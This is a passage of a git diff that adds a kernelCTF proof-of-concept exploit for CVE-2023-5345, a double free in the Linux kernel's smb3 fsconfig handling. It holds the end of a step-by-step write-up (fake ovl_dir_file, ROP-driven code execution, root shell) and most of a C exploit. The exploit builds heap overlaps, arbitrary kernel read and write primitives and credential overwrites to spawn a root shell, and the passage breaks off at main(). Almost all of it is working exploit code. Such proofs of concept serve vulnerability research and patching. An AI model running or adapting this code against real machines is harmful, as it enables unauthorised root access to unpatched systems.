STRUCT_FILE_OPERATIONS_LLSEEK_OFFSET 0x8 +``` + +- Calculate rop stack address [exploit.c#L916](./exploit.c#L916): + +```c +uint64_t rop_stack = simple_xattr_kmalloc_8192_addr + SIMPLE_XATTR_STRUCT_SIZE + 2048; +``` + +## Step7: Build fake `struct ovl_dir_file` + +- Kernel code: + +```c +static loff_t ovl_dir_llseek(struct file *file, loff_t offset, int origin) +{ + loff_t res; + struct ovl_dir_file *od = file->private_data; + + inode_lock(file_inode(file)); + if (!file->f_pos) + ovl_dir_reset(file); + + if (od->is_real) { + res = vfs_llseek(od->realfile, offset, origin); + file->f_pos = od->realfile->f_pos; + } else { + res = -EINVAL; + + switch (origin) { + case SEEK_CUR: + offset += file->f_pos; + break; + case SEEK_SET: + break; + default: + goto out_unlock; + } + if (offset < 0) + goto out_unlock; + + if (offset != file->f_pos) { + file->f_pos = offset; + if (od->cache) + ovl_seek_cursor(od, offset); + } + res = offset; + } +out_unlock: + inode_unlock(file_inode(file)); + + return res; +} +``` + +```c +loff_t vfs_llseek(struct file *file, loff_t offset, int whence) +{ + if (!(file->f_mode & FMODE_LSEEK)) + return -ESPIPE; + return file->f_op->llseek(file, offset, whence); +} +``` + +```c +struct ovl_dir_file { + bool is_real; + bool is_upper; + struct ovl_dir_cache *cache; + struct list_head *cursor; + struct file *realfile; + struct file *upperfile; +}; +``` + +- The idea is to fake `struct ovl_dir_file` object with `realfile` field set to a fake `struct file` object. This fake `struct file` object will have `f_op` field set to fake `struct file_operations` object that i created and leaked address from step5. +- Then when this line is reached: `vfs_llseek(od->realfile, offset, origin)`, i can get code execution. + +Steps needed to build a fake `struct ovl_dir_file` object: + 1. Create a fake `struct file` object. + 2. Create `struct ovl_dir_file` object. + 3. Use double free primiive to fake `struct ovl_dir_file` object. + +### Step7.1: Create a fake `struct file` object +- Prepare fake `struct file` buffer [exploit.c#L808](./exploit.c#L808): + +```c + +// let's say we call the fake `struct file` object: f +*(uint8_t*)(buf + STRUCT_FILE_F_MODE_OFFSET) = FMODE_LSEEK; // f->f_mode = FMODE_LSEEK +*(uint64_t*)(buf + STRUCT_FILE_F_OP_OFFSET) = fops; // f->f_op = fops +``` + +- Allocate `struct simple_xattr` object which contain fake `struct file` [exploit.c#L816](./exploit.c#L816): + +```c +if (setxattr(r->attrs[1]->path, "security.fake_file", buf, + KMALLOC_8192 - SIMPLE_XATTR_STRUCT_SIZE, 0) < 0) { + perror("setxattr"); + return false; +} +``` + +- I pick kmalloc-8192 heap to store fake `struct file` object. It's ok if you want to use other kmalloc size. +- In Step5, I already used `r->attrs[0]->path` filename to allocate `struct simple_xattr` object. This time, i use `r->attrs[1]->path` filename to allocate `struct simple_xattr` object for fake `struct file` object. + +- Leak address of fake `struct file` object [exploit.c#L822](./exploit.c#L822): + +```c +user_key_payload_read(r->key_to_read, leak_buffer, r->size_to_read); +void *scan = skip_user_key_payload(leak_buffer, r->live_on_heap); + +struct simple_xattr *xattr = scan + r->offsets_to_leak[1]; +fake_file_addr = xattr->list.prev + SIMPLE_XATTR_STRUCT_SIZE; +``` + +- Validate the address of fake `struct file` object doesn't contain null byte [exploit.c#L827](./exploit.c#L827): + +```c +bool found_good_address = true; +uint8_t *p8 = (uint8_t*)&fake_file_addr; +for (int i = 0; i < sizeof(uint64_t); i++) + if (p8[i] == 0) + found_good_address = false; + +``` + +- The reason is i need to overwrite `struct ovl_dir_file` object with C-style string. +- In case the address actually contain null byte which is never happened while testing the exploit, free `struct simple_xattr` object which contain fake `struct file` object and retry. [exploit.c#L833](./exploit.c#L833): + +```c +if (!found_good_address) { + if (removexattr(r->attrs[1]->path, "security.fake_file") < 0) { + perror("removexattr(security.fake_file)"); + return false; + } + + if (!drain_kmalloc_8192(4)) + return false; +} else { + address_have_null_byte = false; +} +``` + +### Step7.2: Create `struct ovl_dir_file` object +- Kernel code: + +```c +static int ovl_dir_open(struct inode *inode, struct file *file) +{ + struct path realpath; + struct file *realfile; + struct ovl_dir_file *od; + enum ovl_path_type type; + + od = kzalloc(sizeof(struct ovl_dir_file), GFP_KERNEL); // allocation happened here. + if (!od) + return -ENOMEM; + + type = ovl_path_real(file->f_path.dentry, &realpath); + realfile = ovl_dir_open_realfile(file, &realpath); + if (IS_ERR(realfile)) { + kfree(od); + return PTR_ERR(realfile); + } + od->realfile = realfile; + od->is_real = ovl_dir_is_real(file->f_path.dentry); + od->is_upper = OVL_TYPE_UPPER(type); + file->private_data = od; + + return 0; +} +``` + +- [exploit.c#L846](./exploit.c#L846): + +```c +int df_fsfd = prepare_double_free(KMALLOC_64); +if (df_fsfd < 0) + return false; + +get_full_timesplice(); +trigger_first_free(df_fsfd); +int ovl_fd = ovl_dir_file_alloc(); +if (ovl_fd < 0) + return false; +``` + +- [exploit.c#L470](./exploit.c#L470): + +```c +int ovl_dir_file_alloc(void) +{ + int fd = open(OVERLAYFS_MOUNT_POINT, O_RDONLY); + if (fd < 0) { + fprintf(stderr, "open %s failed: %s\n", OVERLAYFS_MOUNT_POINT, strerror(errno)); + return -1; + } + + return fd; +} +``` + +- [exploit.c#L21](./exploit.c#L21): + +```c +#define OVERLAYFS_MOUNT_POINT "/tmp/overlayfs_mountpoint" +``` + +- `struct ovl_dir_file` object is allocated on kmalloc-64. I chose to open the overlayfs mountpoint directly. It's ok to open other directory inside overlayfs mountpoint. + +- Avoid kernel crash when trigger code execution [exploit.c#L856](./exploit.c#L856): + +```c +if (lseek(ovl_fd, 1234, SEEK_SET) < 0) { // bypass the check if (!file->f_pos) + perror("lseek"); + return false; +} +``` + +- Kernel check: + +```c +static loff_t ovl_dir_llseek(struct file *file, loff_t offset, int origin) +{ + loff_t res; + struct ovl_dir_file *od = file->private_data; + + inode_lock(file_inode(file)); + if (!file->f_pos) + ovl_dir_reset(file); +``` + +- Next time when the exploit trigger code execution through lseek, f_pos already set to 1234. Therefore, skip `ovl_dir_reset(file)`. + +### Step7.3: Fake `ovl_dir_file` object +- Target kernel code path for overwrite primitive: + +```c +SYSCALL_DEFINE5(fsconfig, + int, fd, + unsigned int, cmd, + const char __user *, _key, + const void __user *, _value, + int, aux) +{ + ... + struct fs_parameter param = { + .type = fs_value_is_undefined, + }; + ... + + switch (cmd) { + ... + case FSCONFIG_SET_STRING: + param.type = fs_value_is_string; + param.string = strndup_user(_value, 256); // string buffer allocation happened here. + if (IS_ERR(param.string)) { + ret = PTR_ERR(param.string); + goto out_key; + } + param.size = strlen(param.string); + break; + ... + } + + ... + switch (cmd) { + case FSCONFIG_SET_STRING: + case FSCONFIG_SET_BINARY: + kfree(param.string); // need to set param.string = NULL before reach this line to avoid overwrite data is freed + break; + ... + } +} +``` + +```c +static int ramfs_parse_param(struct fs_context *fc, struct fs_parameter *param) +{ + struct fs_parse_result result; + struct ramfs_fs_info *fsi = fc->s_fs_info; + int opt; + + opt = fs_parse(fc, ramfs_fs_parameters, param, &result); + if (opt == -ENOPARAM) { + opt = vfs_parse_fs_param_source(fc, param); + if (opt != -ENOPARAM) + return opt; + return 0; + } + if (opt < 0) + return opt; + + switch (opt) { + case Opt_mode: + fsi->mount_opts.mode = result.uint_32 & S_IALLUGO; + break; + } + + return 0; +} +``` + +```c +// param->key == "source" lead to param->string = NULL +int vfs_parse_fs_param_source(struct fs_context *fc, struct fs_parameter *param) +{ + if (strcmp(param->key, "source") != 0) + return -ENOPARAM; + + if (param->type != fs_value_is_string) + return invalf(fc, "Non-string source"); + + if (fc->source) + return invalf(fc, "Multiple sources"); + + fc->source = param->string; + param->string = NULL; + return 0; +} +``` + +- Prepare for the overwrite [exploit.c#L861](./exploit.c#L861): +```c + int overwrite_ovl_dir_file_fsfds[2]; + for (int i = 0; i < 2; i++) { + overwrite_ovl_dir_file_fsfds[i] = syscall(SYS_fsopen, "ramfs", 0); + if (overwrite_ovl_dir_file_fsfds[i] < 0) + return false; + } + + char overwrite_buf[256]; + memset(overwrite_buf, 0xFF, sizeof(overwrite_buf)); + + struct ovl_dir_file *od = (struct ovl_dir_file*)overwrite_buf; + od->realfile = fake_file_addr; + overwrite_buf[sizeof(struct ovl_dir_file)] = 0; +``` + +- While testing the exploit, i found that i need to trigger the heap allocation 2 times to overwrite the `struct ovl_dir_file` object. I didn't dig deep to find out why. +- Beside `ramfs`, there are other choices. I pick `ramfs` because there are less code path which make the overwrite process faster. + +- Trigger second free and overwrite `struct ovl_dir_file` object [exploit.c#L875](./exploit.c#L875): + +```c +get_full_timesplice(); +trigger_second_free(df_fsfd); +for (int i = 0; i < 2; i++) + syscall(SYS_fsconfig, overwrite_ovl_dir_file_fsfds[i], FSCONFIG_SET_STRING, "source", overwrite_buf, 0); +``` + +- Save the file descriptor [exploit.c#L880](./exploit.c#L880): + +```c +trigger_code_execution_fd = ovl_fd; +``` + +### Step8: Code execution + +- [exploit.c#L917](./exploit.c): + +```c +lseek(trigger_code_execution_fd, rop_stack, SEEK_CUR); +``` + +### Step9: Get root shell + +- After returning from kernel space, `win` will run to get shell [exploit.c#L153](./exploit.c#L153): + +```c +void win(void) +{ + char *sh_args[] = {"sh", NULL}; + execve("/bin/sh", sh_args, NULL); +} +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/Makefile b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/Makefile new file mode 100644 index 00000000..fbc951d9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/Makefile @@ -0,0 +1,11 @@ +exploit: + gcc -static exploit.c -o exploit -lkeyutils + +prerequisites: + sudo apt-get install libkeyutils-dev + +run: + ./exploit + +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit new file mode 100644 index 00000000..7c54eb94 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit.c b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit.c new file mode 100644 index 00000000..3a7be3fc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/mitigation-6.1/exploit.c @@ -0,0 +1,684 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TMPFS_MOUNT_POINT "/tmp/tmpfs_mountpoint" +#define DYN_KMALLOC_192 192 +#define DYN_KMALLOC_256 256 +#define DYN_KMALLOC_1024 1024 +#define OVERWRITE_PACKET_SOCK_FILE_PATH "/tmp/tmpfs_mountpoint/overwrite_packet_sock" +#define FAKE_PACKET_FANOUT_FILE_PATH "/tmp/tmpfs_mountpoint/fake_packet_fanout_and_netlink_sock" +#define FAKE_NETLINK_SOCK_FILE_PATH FAKE_PACKET_FANOUT_FILE_PATH + +#define USER_KEY_PAYLOAD_STRUCT_SIZE 24 +#define SIMPLE_XATTR_STRUCT_SIZE 32 + +#define CONFIG_X86_L1_CACHE_SHIFT 6 +#define L1_CACHE_SHIFT (CONFIG_X86_L1_CACHE_SHIFT) +#define L1_CACHE_BYTES (1 << L1_CACHE_SHIFT) +#define SMP_CACHE_BYTES L1_CACHE_BYTES +#define ____cacheline_aligned __attribute__((__aligned__(SMP_CACHE_BYTES))) +#define ____cacheline_aligned_in_smp ____cacheline_aligned + +#define EXPLOIT_CPU 0 +#define PRIVILEGE_ESCALATION_TASK "mitigation_pwn" +#define PACKET_RCV_FANOUT_OFFSET_FROM_KERNEL_TEXT 0xf0da90 +#define SK_DESTRUCT_OFFSET_FROM_NETLINK_SOCK 0x2d0 +#define SK_PROTOCOL_OFFSET_FROM_NETLINK_SOCK 0x204 +#define SK_SECURITY_OFFSET_FROM_NETLINK_SOCK 0x280 +#define GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x320 +#define NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x31c +#define BOUND_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x350 +#define SUBSCRIPTIONS_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x318 +#define PORTID_OFFSET_FROM_STRUCT_NETLINK_SOCK 0x308 + +#define TASKS_OFFSET_FROM_TASK_STRUCT 0x508 +#define COMM_OFFSET_FROM_TASK_STRUCT 0x7c0 +#define REAL_CRED_OFFSET_FROM_TASK_STRUCT 0x7a8 +#define CRED_OFFSET_FROM_TASK_STRUCT 0x7b0 +#define FS_OFFSET_FROM_TASK_STRUCT 0x800 +#define TASK_COMM_LEN 16 + +uint64_t kernel_base; +uint64_t init_task = 0x26159c0; +uint64_t init_cred = 0x26618c0; +uint64_t init_fs = 0x279c660; +uint64_t netlink_sock_destruct = 0xce61b0; +int primitive_netlink_socket_fd; +uint64_t netlink_sock_addr; +uint64_t netlink_sock_sk_security_addr; + +struct packet_fanout_leak_data { + uint64_t net_addr; + uint64_t packet_rcv_fanout_addr; + uint64_t packet_fanout_addr; + uint64_t packet_sock_addr; + uint64_t type; + uint64_t dev_addr; +}; + +struct list_head { + uint64_t next; + uint64_t prev; +}; + +struct packet_type { + uint16_t type; + uint8_t ignore_outgoing; + uint64_t dev; + uint64_t func; + uint64_t list_func; + uint64_t id_match; + uint64_t af_packet_net; + uint64_t af_packet_priv; + struct list_head list; +}; + +struct packet_fanout { + uint64_t net; + uint32_t num_members; + uint32_t max_num_members; + uint16_t id; + uint8_t type; + uint8_t flags; + union { + int32_t rr_cur; + uint64_t bpf_prog; + }; + struct list_head list; + int32_t lock; + int32_t sk_ref; + struct packet_type prot_hook ____cacheline_aligned_in_smp; + uint64_t arr[]; +}; + +struct netlink_sock { + uint8_t buf[1120]; +}; + +static inline void get_full_timesplice(void) +{ + sched_yield(); +} + +bool pin_on_cpu(int core_id) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) < 0) { + fprintf(stderr, "pin_on_cpu failed: %s\n", strerror(errno)); + return false; + } + + return true; +} + +bool change_task_comm(const char *name) +{ + if (prctl(PR_SET_NAME, name, NULL, NULL, NULL) < 0) { + perror("prctl"); + return false; + } + + return true; +} + +bool write_to_file(const char *path, const char *data_fmt, ...) +{ + char *buf = NULL; + va_list args; + va_start(args, data_fmt); + if (vasprintf(&buf, data_fmt, args) < 0) { + perror("vasprintf"); + return false; + } + + va_end(args); + int fd = open(path, O_WRONLY); + if (fd < 0) { + fprintf(stderr, "open %s for writing: %s\n", path, strerror(errno)); + free(buf); + return false; + } + + write(fd, buf, strlen(buf)); + close(fd); + free(buf); + return true; +} + +bool create_file(const char *path) +{ + int fd = open(path, O_WRONLY | O_CREAT, 0644); + if (fd < 0) { + fprintf(stderr, "create file %s failed: %s\n", path, strerror(errno)); + return false; + } + + close(fd); + return true; +} + +bool set_if_up(const char *ifname) +{ + int fd = socket(AF_INET, SOCK_DGRAM, 0); + if (fd < 0) { + perror("socket"); + return false; + } + + struct ifreq ifr; + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags |= IFF_UP; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) { + perror("ioctl-SIOCSIFFLAGS"); + close(fd); + return false; + } + + close(fd); + return true; +} + +bool setup_namespace(void) +{ + int real_uid = getuid(); + int real_gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWNET) < 0) { + perror("unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC)"); + return false; + } + + if (!write_to_file("/proc/self/setgroups", "deny")) + return false; + + if (!write_to_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) + return false; + + if (!write_to_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) + return false; + + mkdir(TMPFS_MOUNT_POINT, 0644); + if (mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL) < 0) { + fprintf(stderr, "mount %s(type: tmpfs): %s\n", TMPFS_MOUNT_POINT, strerror(errno)); + return false; + } + + if (!set_if_up("lo")) + return false; + + return true; +} + +int prepare_double_free(int dyn_kmalloc_size) +{ + if (dyn_kmalloc_size <= 0 || dyn_kmalloc_size > 256) + return -1; + + int fsfd = syscall(SYS_fsopen, "smb3", 0); + if (fsfd < 0) { + fprintf(stderr, "fsopen(smb3) failed: %s\n", strerror(errno)); + return -1; + } + + char password[256]; + memset(password, 0x1, dyn_kmalloc_size - 1); + password[dyn_kmalloc_size-1] = 0; + if (syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "password", password, 0) < 0) { + perror("fsconfig(FSCONFIG_SET_STRING)"); + close(fsfd); + return -1; + } + + return fsfd; +} + +static inline void trigger_first_free(int fsfd) +{ + syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "max_credits", "19", 0); +} + +static inline void trigger_second_free(int fsfd) +{ + close(fsfd); +} + +key_serial_t user_key_payload_alloc(const char *desc, void *data, int n) +{ + key_serial_t key = add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING); + if (key < 0) { + perror("add_key"); + return -1; + } + + return key; +} + +void user_key_payload_free(key_serial_t key) +{ + keyctl_unlink(key, KEY_SPEC_USER_KEYRING); +} + +long user_key_payload_read(key_serial_t key, void *buf, int n) +{ + long ret = keyctl_read(key, buf, n); + if (ret < 0) { + perror("keyctl_read"); + return -1; + } + + return ret; +} + +int packet_socket_create_and_bind(void) +{ + int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (fd < 0) { + perror("socket(AF_PACKET, SOCK_RAW)"); + return -1; + } + + struct sockaddr_ll addr; + memset(&addr, 0, sizeof(addr)); + addr.sll_family = AF_PACKET; + addr.sll_ifindex = if_nametoindex("lo"); + + if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) { + perror("bind packet socket at lo interface"); + close(fd); + return -1; + } + + return fd; +} + +void packet_socket_destroy(int fd) +{ + close(fd); +} + +static inline bool packet_fanout_alloc(int packet_socket_fd, uint16_t id, uint32_t max_num_members) +{ + struct fanout_args fanout_args = { + .type_flags = PACKET_FANOUT_HASH, .id = id, .max_num_members = max_num_members + }; + + if (setsockopt(packet_socket_fd, SOL_PACKET, PACKET_FANOUT, &fanout_args, sizeof(fanout_args)) < 0) { + perror("setsockopt(PACKET_FANOUT)"); + return false; + } + + return true; +} + +bool overlap_user_key_payload_with_packet_fanout(key_serial_t *overlap_key, int *fd) +{ + int packet_socket_fd = packet_socket_create_and_bind(); + if (packet_socket_fd < 0) + return false; + + int dyn_kmalloc_256_double_free_fsfd = prepare_double_free(DYN_KMALLOC_256); + if (dyn_kmalloc_256_double_free_fsfd < 0) + goto err; + + get_full_timesplice(); + trigger_first_free(dyn_kmalloc_256_double_free_fsfd); + + char tmp[256] = {}; + key_serial_t key = user_key_payload_alloc( + "dyn_kmalloc_256", + tmp, + DYN_KMALLOC_192 + 1 - USER_KEY_PAYLOAD_STRUCT_SIZE); + + if (key < 0) + goto err; + + uint16_t overwrite_user_key_payload_datalen = DYN_KMALLOC_256 - USER_KEY_PAYLOAD_STRUCT_SIZE; + get_full_timesplice(); + trigger_second_free(dyn_kmalloc_256_double_free_fsfd); + + if (!packet_fanout_alloc(packet_socket_fd, overwrite_user_key_payload_datalen, 1)) + goto err1; + + long size_ret = user_key_payload_read(key, NULL, overwrite_user_key_payload_datalen); + if (size_ret != overwrite_user_key_payload_datalen) { + fprintf(stderr, "overlap failed\n"); + goto err1; + } + + *overlap_key = key; + *fd = packet_socket_fd; + return true; + +err1: + user_key_payload_free(key); +err: + packet_socket_destroy(packet_socket_fd); + return false; +} + +struct packet_fanout_leak_data *leak_packet_fanout(key_serial_t key) +{ + struct packet_fanout_leak_data *result = malloc(sizeof(*result)); + if (!result) { + perror("malloc packet_fanout_leak_data"); + return NULL; + } + + uint8_t leak_buf[DYN_KMALLOC_256 - USER_KEY_PAYLOAD_STRUCT_SIZE] = {}; + user_key_payload_read(key, leak_buf, sizeof(leak_buf)); + + struct packet_fanout *packet_fanout = (struct packet_fanout*)(leak_buf - USER_KEY_PAYLOAD_STRUCT_SIZE); + result->net_addr = packet_fanout->prot_hook.af_packet_net; + result->packet_rcv_fanout_addr = packet_fanout->prot_hook.func; + result->packet_fanout_addr = packet_fanout->prot_hook.af_packet_priv; + result->packet_sock_addr = *(packet_fanout->arr); + result->type = packet_fanout->prot_hook.type; + result->dev_addr = packet_fanout->prot_hook.dev; + return result; +} + +bool overlap_simple_xattr_payload_with_netlink_sock(int dyn_kmalloc_2048_packet_socket_fd, + uint64_t packet_sock_addr, uint64_t net) +{ + if (!create_file(FAKE_PACKET_FANOUT_FILE_PATH)) + return false; + + uint64_t fake_packet_fanout_addr = packet_sock_addr + SIMPLE_XATTR_STRUCT_SIZE; + uint8_t fake_packet_fanout_buffer[DYN_KMALLOC_1024] = {}; + struct packet_fanout *f = (struct packet_fanout*)fake_packet_fanout_buffer; + f->net = net; + f->flags = PACKET_FANOUT_HASH; + f->id = 0xcafe; + f->max_num_members = 1; + f->list.prev = fake_packet_fanout_addr + offsetof(struct packet_fanout, list); + f->list.next = fake_packet_fanout_addr + offsetof(struct packet_fanout, list); + get_full_timesplice(); + packet_socket_destroy(dyn_kmalloc_2048_packet_socket_fd); + if (setxattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout", fake_packet_fanout_buffer, + 1024, 0) < 0) { + fprintf(stderr, "fake packet fanout failed\n"); + return false; + } + + int build_fake_packet_fanout_list_fd = packet_socket_create_and_bind(); + if (build_fake_packet_fanout_list_fd < 0) + return false; + + int dyn_kmalloc_256_double_free_fsfd = prepare_double_free(DYN_KMALLOC_256); + if (dyn_kmalloc_256_double_free_fsfd < 0) + return false; + + get_full_timesplice(); + trigger_first_free(dyn_kmalloc_256_double_free_fsfd); + if (!packet_fanout_alloc(build_fake_packet_fanout_list_fd, 0xdead, 1)) + return false; + + uint8_t fake_packet_fanout_list_buf[192] = {}; + struct packet_fanout *f1 = fake_packet_fanout_list_buf - USER_KEY_PAYLOAD_STRUCT_SIZE; + f1->list.next = fake_packet_fanout_addr + offsetof(struct packet_fanout, list); + get_full_timesplice(); + trigger_second_free(dyn_kmalloc_256_double_free_fsfd); + user_key_payload_alloc("fake_packet_fanout_list", fake_packet_fanout_list_buf, 192); + + int trigger_simple_xattr_payload_free_fd = socket(AF_PACKET, SOCK_RAW, 0); + if (trigger_simple_xattr_payload_free_fd < 0) + return false; + + struct fanout_args fanout_args = { + .type_flags = PACKET_FANOUT_HASH, + .id = 0xcafe, + .max_num_members = 1 + }; + + get_full_timesplice(); + setsockopt(trigger_simple_xattr_payload_free_fd, SOL_PACKET, PACKET_FANOUT, &fanout_args, + sizeof(fanout_args)); + + bool overlap_success = false; + int retries = 0; + char netlink_sock_leak_buf[1024] = {}; + while (!overlap_success && retries < 16) { + primitive_netlink_socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK); + if (primitive_netlink_socket_fd < 0) + return false; + + if (getxattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout", netlink_sock_leak_buf, 1024) < 0) + return false; + + uint64_t sk_destruct = *(uint64_t*)(netlink_sock_leak_buf + SK_DESTRUCT_OFFSET_FROM_NETLINK_SOCK); + uint16_t sk_protocol = *(uint16_t*)(netlink_sock_leak_buf + SK_PROTOCOL_OFFSET_FROM_NETLINK_SOCK); + + //printf("sk_destruct: 0x%016lx\n", sk_destruct); + //printf("sk_protocol: %d\n", sk_protocol); + if (sk_protocol == NETLINK_USERSOCK && sk_destruct == netlink_sock_destruct) + overlap_success = true; + else + retries++; + } + + if (!overlap_success) + return false; + + netlink_sock_addr = packet_sock_addr + SIMPLE_XATTR_STRUCT_SIZE; + netlink_sock_sk_security_addr = *(uint64_t*)(netlink_sock_leak_buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK); + //printf("[+] netlink_sock_addr: 0x%016lx\n", netlink_sock_addr); + //printf("[+] netlink_sock_sk_security_addr: 0x%016lx\n", netlink_sock_sk_security_addr); + + char netlink_sock_fake_buf[1024] = {}; + get_full_timesplice(); + removexattr(FAKE_PACKET_FANOUT_FILE_PATH, "security.fake_packet_fanout"); + setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", netlink_sock_fake_buf, 1024, 0); + return true; +} + +void *abr_read(uint64_t addr, int bytes) +{ + if (bytes % sizeof(uint32_t) != 0) + bytes += sizeof(uint32_t) - (bytes % sizeof(uint32_t)); + + void *result = malloc(bytes); + if (!result) { + perror("malloc"); + return NULL; + } + + uint8_t fake_netlink_sock_buf[1024] = {}; + struct netlink_sock *nlk = (struct netlink_sock*)fake_netlink_sock_buf; + *(uint64_t*)(nlk->buf + GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = addr; + *(uint32_t*)(nlk->buf + NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = bytes * 8; + *(uint64_t*)(nlk->buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK) = netlink_sock_sk_security_addr; + + get_full_timesplice(); + removexattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock"); + setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", fake_netlink_sock_buf, 1024, 0); + getsockopt(primitive_netlink_socket_fd, SOL_NETLINK, NETLINK_LIST_MEMBERSHIPS, result, &bytes); + return result; +} + +void abr_write(uint64_t addr, uint32_t val) +{ + uint8_t fake_netlink_sock_buf[1024] = {}; + struct netlink_sock *nlk = (struct netlink_sock*)fake_netlink_sock_buf; + *(uint32_t*)(nlk->buf + NGROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 0xFFFFFFFF; + *(uint16_t*)(nlk->buf + SK_PROTOCOL_OFFSET_FROM_NETLINK_SOCK) = NETLINK_ROUTE; + *(uint8_t*)(nlk->buf + BOUND_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 1; + *(uint64_t*)(nlk->buf + GROUPS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = addr; + *(uint64_t*)(nlk->buf + SK_SECURITY_OFFSET_FROM_NETLINK_SOCK) = netlink_sock_sk_security_addr; + *(uint32_t*)(nlk->buf + SUBSCRIPTIONS_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 33; + *(uint32_t*)(nlk->buf + PORTID_OFFSET_FROM_STRUCT_NETLINK_SOCK) = 1234; + + get_full_timesplice(); + removexattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock"); + setxattr(FAKE_NETLINK_SOCK_FILE_PATH, "security.fake_netlink_sock", fake_netlink_sock_buf, 1024, 0); + struct sockaddr_nl trigger_write_addr; + memset(&addr, 0, sizeof(addr)); + trigger_write_addr.nl_family = AF_NETLINK; + trigger_write_addr.nl_pid = 1234; + trigger_write_addr.nl_groups = val; + bind(primitive_netlink_socket_fd, (struct sockaddr*)&trigger_write_addr, sizeof(trigger_write_addr)); +} + +void *read_task_struct(uint64_t task_struct_addr, int from_offset, int bytes) +{ + return abr_read(task_struct_addr + from_offset, bytes); +} + +uint64_t find_task_by_name(const char *name) +{ + struct list_head *tasks = NULL; + tasks = abr_read(init_task + TASKS_OFFSET_FROM_TASK_STRUCT, sizeof(struct list_head)); + uint64_t current_task = tasks->prev - TASKS_OFFSET_FROM_TASK_STRUCT; + + while (current_task != init_task) { + void *leak = abr_read(current_task + TASKS_OFFSET_FROM_TASK_STRUCT, + COMM_OFFSET_FROM_TASK_STRUCT - TASKS_OFFSET_FROM_TASK_STRUCT + TASK_COMM_LEN); + char *comm = leak + (COMM_OFFSET_FROM_TASK_STRUCT - TASKS_OFFSET_FROM_TASK_STRUCT); + if (strcmp(comm, name) == 0) + return current_task; + + tasks = leak; + current_task = tasks->prev - TASKS_OFFSET_FROM_TASK_STRUCT; + } + + return 0; +} + +void do_privilege_escalation(uint64_t task_struct_addr) +{ + abr_write(task_struct_addr + REAL_CRED_OFFSET_FROM_TASK_STRUCT, init_cred); + abr_write(task_struct_addr + REAL_CRED_OFFSET_FROM_TASK_STRUCT + 4, init_cred >> 32); + abr_write(task_struct_addr + CRED_OFFSET_FROM_TASK_STRUCT, init_cred); + abr_write(task_struct_addr + CRED_OFFSET_FROM_TASK_STRUCT + 4, init_cred >> 32); + abr_write(task_struct_addr + FS_OFFSET_FROM_TASK_STRUCT, init_fs); + abr_write(task_struct_addr + FS_OFFSET_FROM_TASK_STRUCT + 4, init_fs >> 32); +} + +void sigusr1_handler(int unused) +{ + return; +} + +void wait_for_root_and_spawn_shell(int wait_fd) +{ + if (!change_task_comm(PRIVILEGE_ESCALATION_TASK)) + return; + + int w; + read(wait_fd, &w, sizeof(int)); + char *sh_args[] = {"sh", NULL}; + execve("/bin/sh", sh_args, NULL); +} + +void wake_child_and_get_root_shell(int wake_fd) +{ + int w; + write(wake_fd, &w, sizeof(int)); + wait(NULL); +} + +int create_escalation_process(void) +{ + int wake_pipe[2]; + if (pipe(wake_pipe) < 0) { + perror("pipe"); + return -1; + } + + int pid = fork(); + if (pid < 0) { + perror("fork"); + return -1; + } + + if (pid == 0) { + wait_for_root_and_spawn_shell(wake_pipe[0]); + fprintf(stderr, "shouldn't happened\n"); + exit(1); + } + + return wake_pipe[1]; +} + +int main(int argc, char *argv[]) +{ 